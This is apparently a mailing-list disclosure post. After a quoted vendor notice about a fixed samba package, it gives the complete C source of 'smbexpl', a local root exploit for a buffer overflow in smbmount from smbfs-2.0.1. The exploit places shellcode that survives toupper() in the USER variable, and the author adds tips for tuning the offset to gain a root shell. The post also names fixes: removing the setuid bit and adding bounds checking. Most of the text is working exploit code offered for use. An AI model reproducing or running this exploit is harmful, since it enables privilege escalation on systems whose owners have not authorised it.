> A fixed samba package (with smbfs-2.0.2) is ready. It will be on
>
> ftp://ftp.suse.com/pub/suse_update/S.u.S.E.-4.4.1/n1/samba
>
> in a few minutes. S.u.S.E. Linux 5.0 will include this version also.
Here is the source for the exploit, the default parameters to the program
often work, however I have found that the offset parameter sometimes
varies wildly, values between -600 and -100 usually work though, a quick
shell script will scan through these.
----------8<----------8<----------8<----------8<----------8<----------
/*
** smbexpl -- a smbmount root exploit under Linux
**
** Author: Gerald Britton <gbritton@nih.gov>
**
** This code exploits a buffer overflow in smbmount from smbfs-2.0.1.
** The code does not do range checking when copying a username from
** the environment variables USER or LOGNAME. To get this far into
** the code we need to execute with dummy arguments of a server and a
** mountpoint to use (./a in this case). The user will need to create
** the ./a directory and then execute smbexpl to gain root. This code
** is also setup to use /tmp/sh as the shell as bash-2.01 appears to
** do a seteuid(getuid()) so /bin/sh on my system won't work. Finally
** a "-Q" (an invalid commandline argument) causes smbmount to fail when
** parsing args and terminate, thus jumping into our shellcode.
**
** The shellcode used in this program also needed to be specialized as
** smbmount toupper()'s the contents of the USER variable. Self modifying
** code was needed to ensure that the shellcode will survive toupper().
**
** The quick fix for the security problem:
** chmod -s /sbin/smbmount
**
** A better fix would be to patch smbmount to do bounds checking when
** copying the contents of the USER and LOGNAME variables.
**
*/
#include <stdlib.h>
#include <stdio.h>
#define DEFAULT_OFFSET -202
#define DEFAULT_BUFFER_SIZE 211
#define DEFAULT_ALIGNMENT 2
#define NOP 0x90
/* This shell code is designed to survive being filtered by toupper() */
char shellcode[] =
"\xeb\x20\x5e\x8d\x46\x05\x80\x08\x20\x8d\x46\x27\x80\x08\x20\x40"
"\x80\x08\x20\x40\x80\x08\x20\x40\x40\x80\x08\x20\x40\x80\x08\x20"
"\xeb\x05\xe8\xdb\xff\xff\xff"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int alignment=DEFAULT_ALIGNMENT;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) alignment = atoi(argv[3]);
printf("bsize=%d offset=%d alignment=%d\n",bsize,offset,alignment);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
fprintf(stderr,"Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) (ptr+alignment);
for (i = 0; i < bsize-alignment; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + (128 - strlen(shellcode));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("USER",buff,1);
execl("/sbin/smbmount","smbmount","//a/a","./a","-Q",0);
}
----------8<----------8<----------8<----------8<----------8<----------
-- Gerald Britton gbritton@nih.gov